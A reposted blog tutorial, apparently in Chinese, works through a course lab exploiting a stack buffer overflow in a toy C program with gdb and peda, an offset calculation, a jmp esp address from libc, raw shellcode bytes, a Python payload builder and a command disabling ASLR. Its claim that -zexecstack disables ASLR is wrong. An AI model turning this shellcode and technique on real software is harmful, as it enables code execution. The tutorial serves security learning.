kali下栈溢出实验和一些tips

来源:互联网 发布:java程序员转正申请 编辑:程序博客网 时间:2024/05/23 09:53

首先我的实验环境和教程均来自http://staff.ustc.edu.cn/~sycheng/ssat/,我这里讲的是《栈溢出 & 整数溢出》这个课程的实验

实验开始,首先你要准备好环境,我的操作系统是kali-linux-2017.1-i386

然后你要安装Linux下pwn都会用到的工具:peda,安装方法是:

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

实验代码是:

#include <stdio.h>#include <string.h>void SayHello(char* name){    char tmpName[60];    // buffer overflow    strcpy(tmpName, name);    printf("Hello %s\n", tmpName);}int main(int argc, char** argv){    if (argc != 2) {        printf("Usage: hello <name>.\n");        return 1;    }    SayHello(argv[1]);    return 0;}

因为编译器默认会开启,栈数据保护和aslr,所以编译的时候要关闭

将以上代码保存为1.cpp,然后g++ 1.cpp -g -o testlinux -zexecstack -fno-stack-protector

其中-g指令是让编译后的二进制文件启用调试,-zexecstack是关闭aslr,-fno-stack-protector关闭栈保护

然后用gdb调试testlinux

在gdb里面用r `python -c 'print "a"*100'`这样的指令传入100个a作为参数

然后发现我们的程序崩溃了,eip指向了0x61616161这个地方,也就是说我们这个程序缓冲区溢出了

我们在gdb中用b 9和b 21在代码处的第9行和第21行下断点

我们这个时候要知道函数栈的结构

---->栈内存由低向高方向----->|------------栈变量----------|----ebp----|------返回地址------|函数形参|

现在我们继续在gdb里面用r `python -c 'print "a"*100'`

发现程序停在了这里

这里停在了源代码的第9行,如果按n的话就是单步执行到源代码的下一行,我想执行汇编代码的下一行要按ni,要在源代码中进入到某个函数要输入s,但是要在汇编代码中进入到某个call就输入si

我单步ni走到call的地方

然后输入si进入到这个函数中去,因为call指令相当于push eip;jmp 函数地址

进入到这个函数地址之后我们记录一下esp的地址0xbffff5bc,这个地址是函数的返回地址


然后继续按n,走到strcpy处,然后一直输入ni直到call完strcpy这个函数

然后我在gdb里面用x/44xw tmpName查看tmpName的变量内容

此时我发现0xbffff5bc这个地方也被0x61616161给覆盖了,然后继续运行,很自然eip就变成了0x61616161

现在我计算一下,tmpName到函数返回地址的距离,0xbffff5bc-bffff574=0x48

十六进制的48转换成十进制为72

先在我们找一个可以用的shellcode

shellcode 可以用zsc,介绍文章在http://www.freebuf.com/sectool/95250.html

用zsc最新版生成shellcode的过程与官网介绍的文档有点不同,但是也可以用zsc -e来获取一些生成shellcode的例子

我用zsc -p linux_x86/exec/none -i "/bin/bash" -o shellcode.c

来生成一个shellcode

现在炮弹有了,我们需要一个跳板来发射,一般找的跳板是jmp esp或者call esp,这时我们用到peda一个很方便的功能,asmsearch

我在libc找一个jmp esp,命令是 asmsearch "jmp esp" libc

现在找到一个地址:


0xb7c13ab1 这个地址就是我们要找的跳板

如果我们把内存布局成

---->栈内存由低向高方向----->|------------aaaa(72个a)|被覆盖的返回地址|shellcode|

现在我用py写一个poc

shellcode="\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x90\x90\x90\x68\x5b\xc1\xeb\x10\xc1\xeb\x08\x53\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\xb0\x01\xb3\x01\xcd\x80"input="a"*72jmpesp="\xb7\xc1\x3a\xb1"[::-1]re=input+jmpesp+shellcodeprint re

为啥jmp esp的地址要反转呢,因为x86的内存是小端字节序,但是gdb显示的时候是从高地址读到地址的,所以要把jmpesp的地址做一次反转

然后我们把断点再设置在b 12处,r 传入的参数为`python test.py`

这时运行正好断在了SayHello的结尾处

我们ni继续运行,到ret的地方之后(ret相当于 pop eip)

eip指向了我想的地址(jmp esp),而esp则指向了shellcode的地方

继续ni执行

发现执行到我的shellcode地方

继续执行就可以成功执行/bin/bash了

但是如果离开gdb在shell执行的话就会报:段错误

这个时候我们应该关闭系统的aslr

debian系统关闭aslr的指令为

echo 0 >/proc/sys/kernel/randomize_va_space

然后就可以顺利成功了